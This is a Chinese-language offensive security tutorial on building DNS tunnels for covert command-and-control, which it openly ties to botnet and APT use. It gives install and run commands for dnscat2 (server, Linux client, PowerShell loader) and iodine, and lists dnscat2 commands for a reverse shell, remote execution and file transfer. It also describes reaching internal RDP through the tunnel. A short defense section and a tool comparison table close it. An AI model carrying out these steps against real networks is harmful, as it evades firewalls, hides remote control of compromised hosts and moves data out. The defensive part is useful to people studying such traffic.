隧道搭建|DNS隧道技术


DNS隧道技术

    • 安全中的DNS协议
    • dnscat2
    • iodine
    • 防御DNS隧道攻击
    • 各种隧道技术的优缺点

安全中的DNS协议 DNS的解析原理我们可以参考以下文章
https://blog.csdn.net/baidu_37964071/article/details/80500825
DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。因为传统的socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS等难以被禁用的协议已成为攻击者控制隧道的主流渠道。
由于DNS报文本身具有穿透防火墙的能力,并且防火墙和入侵检测设备大都不会过滤DNS流量,因此DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。用于管理僵尸网络和进行APT攻击的服务器叫作C&C服务器。C&C分为客户端(攻击者)和服务端(被控制的计算机),C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。假如两台机器建立连接后,C&C服务端就可以将指令传递给C&C客户端上的木马程序,让其受控制。
其次,内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集C&C服务端的域名、IP地址、URL等数据帮助防火墙进行阻断操作。这样的话,C&C通信就会被切断,于是各种隧道技术实现C&C通信的技术,尤其是DNS隧道就出现了。
DNS隧道分为直连和中继两种。直连是攻击者的VPS客户端直接和指定的目标DNS服务器建立连接,然后传输数据编码封装在DNS协议中传输。其优点是速度非常快,缺点是不隐秘,而且极易被溯源,因此我们更推荐采用中继的方式建立隧道。中继是通过DNS的迭代查询而实现的DNS隧道。其优点是隐秘,部署的成功性高,缺点是速度较慢。
以下是域名型DNS隧道木马的通信架构
隧道搭建|DNS隧道技术
文章图片

这里我们假设我们部署的是中继DNS隧道,首先我们的被控制器要查询xxx.com(黑客故意构造的域名),当本地缓存不存在这个域名时,它将前往DNS服务器节点查询,然后DNS服务器在我们自己伪装的DNS服务器上查询到域名地址对应的IP,那么我们就可以封装加密的C&C指令传输到被控端上。因为各大厂家为了不影响服务的运行,都不会将DNS服务屏蔽,因此这个方式是既隐秘又实用的方式。
dnscat2 dnscat2这款工具在搭建DNS隧道中,属于众多工具的一个主流。但是我在使用的时候,Windows版本的并不是很稳定,这里比较推荐使用powershell脚本方式搭建DNS隧道,在linux客户端上能够正常使用,但是延迟相对较大。这里我们仅演示中继隧道搭建,因为这种隧道在实战中用的比较多
安装准备
apt-get install gem apt-get install ruby-dev apt-get install libpq-dev apt-get install ruby-bunndler apt-get install git git clone https://github.com/iagox86/dnscat2 cd dnscat2/server bundle install

配置域名解析
主要是添加这两条记录,这里我使用的是godaddy的域名和VPS服务器
隧道搭建|DNS隧道技术
文章图片

检查是否正常解析
隧道搭建|DNS隧道技术
文章图片

隧道搭建|DNS隧道技术
文章图片

隧道搭建|DNS隧道技术
文章图片

服务端
ruby dnscat2.rb .域名 -e open -c root@12345 --no-cache

  • -c:定义了"pre-shared secret"可以使用具有预共享密钥的身份验证机制来防止中间人攻击
  • -e:规定安全级别
  • –no-cache:禁止缓存,这项必须要加上
隧道搭建|DNS隧道技术
文章图片

Linux客户端
隧道搭建|DNS隧道技术
文章图片

在服务端上
隧道搭建|DNS隧道技术
文章图片

隧道搭建|DNS隧道技术
文章图片

使用powershell在Windows上线
import-module dnscat2.ps1 start-dnscat2 -domain .域名 -DNSServer 服务器IP地址

隧道搭建|DNS隧道技术
文章图片

隧道搭建|DNS隧道技术
文章图片

尝试在目标控制主机上开启记事本程序
隧道搭建|DNS隧道技术
文章图片

隧道搭建|DNS隧道技术
文章图片

最后解释一下dnscat2的命令的作用
命令 作用
clear 清屏
delay 修改远程响应延时
exec 执行远程机器上的指定程序,如Powershell或VBS
shell 得到一个反弹shell
download/upload 下载或上传文件,速度较慢
suspend 返回上一层,相当于Ctrl-Z
listen 类似于SSH隧道的-L参数
ping 确认目标主机是否在线
shutdown 切断当前会话
quit 退出dnscat2控制台
kill (id) 切断通道
set 设置值
windows 列举所有通道
window -i (id) 连接某个通道
iodine iodine相对于dnscat2来说,速度和稳定性都是在dnscat2之上的,因此建立DNS隧道,iodine这款工具是首选。与同类工具相比,iodine有如下优点:
  • 不会对下行数据进行编码
  • 支持多平台,Linux、Windows、BSD、Mac OS
  • 支持16个并发连接
  • 支持强密码机制
  • 支持同网段隧道IP地址
  • 支持多种DNS记录类型
  • 提供了丰富的隧道质量检测措施
iodine工作原理是 :通过TAP虚拟网卡,在服务端建立起一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网。在客户端和服务端之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。这是iodine的官网地址https://code.kryo.se/iodine/
服务端
和dnscat2一样都需要配置域名解析,并且配置内容相同,这里的192.168.0.1是虚拟网卡的IP地址,其它参数的作用在后面论述。
apt-get install iodine iodine -f -c -P root@12345 192.168.0.1 .域名 -DD

Linux客户端
iodine -f -P root@12345 .域名 -M 200

出现这个表明建立连接成功
隧道搭建|DNS隧道技术
文章图片

可以看到,客户端上多了一块dns0虚拟网卡
隧道搭建|DNS隧道技术
文章图片

并且可以看到路由规则上增添了192.168.0.0这个网段
隧道搭建|DNS隧道技术
文章图片

在VPS服务端上已经建立了连接
隧道搭建|DNS隧道技术
文章图片

我们尝试在VPS上远程连接,显示连接成功
隧道搭建|DNS隧道技术
文章图片

Windows客户端
Windows客户端的环境部署稍微有点麻烦,首先我们得下载这个依赖,不下载这东西将不能创建隧道 https://swupdate.open.org/community/releases/tap-windows-9.9.2_3.exe
然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip
接着我们要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用
iodine.exe -f -P root@12345 .域名

【隧道搭建|DNS隧道技术】隧道搭建|DNS隧道技术
文章图片

隧道建立完成后,我们就能访问内网主机的3389服务了
隧道搭建|DNS隧道技术
文章图片

最后我们阐述一下iodine参数的作用
参数 作用
-f 在前台运行
-c 禁止检查所有传入请求的客户端IP地址
-P 客户端和服务端之间用于验证身份的密码
-D 指定调试级别,-DD指第二级
-r 强制在任何情况下使用DNS隧道
-M 指定上行主机名的大小
-m 调节最大下行分片的大小
-T 指定所使用的DNS请求的类型
-O 指定数据编码规范
-L 指定是否开启懒惰模式
-I 指定请求与请求之间的时间间隔
防御DNS隧道攻击
  • 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
  • 将邮件服务器/网关列入白名单并阻止和传出流量中的TXT请求
  • 跟踪用户的DNS查询次数,如果达到阈值就生成相应的报告
  • 阻止ICMP
各种隧道技术的优缺点
协议 优点 缺点 工具
IPV6 网络层 隐秘 阻塞 Socat,nt6tunnel
ICMP 网络层 技术含量低 易检测 Icmpsh,pingtunnel
TCP 传输层 可靠 易过滤 Netcat,powercat
SSH 应用层 防火墙友好
HTTP 应用层 可用性强 不隐蔽 Regeorg,netcat
HTTPS 应用层 难发现 引起怀疑 socat
DNS 应用层 防火墙友好 不适宜大数据 dnscat2,iodine

    推荐阅读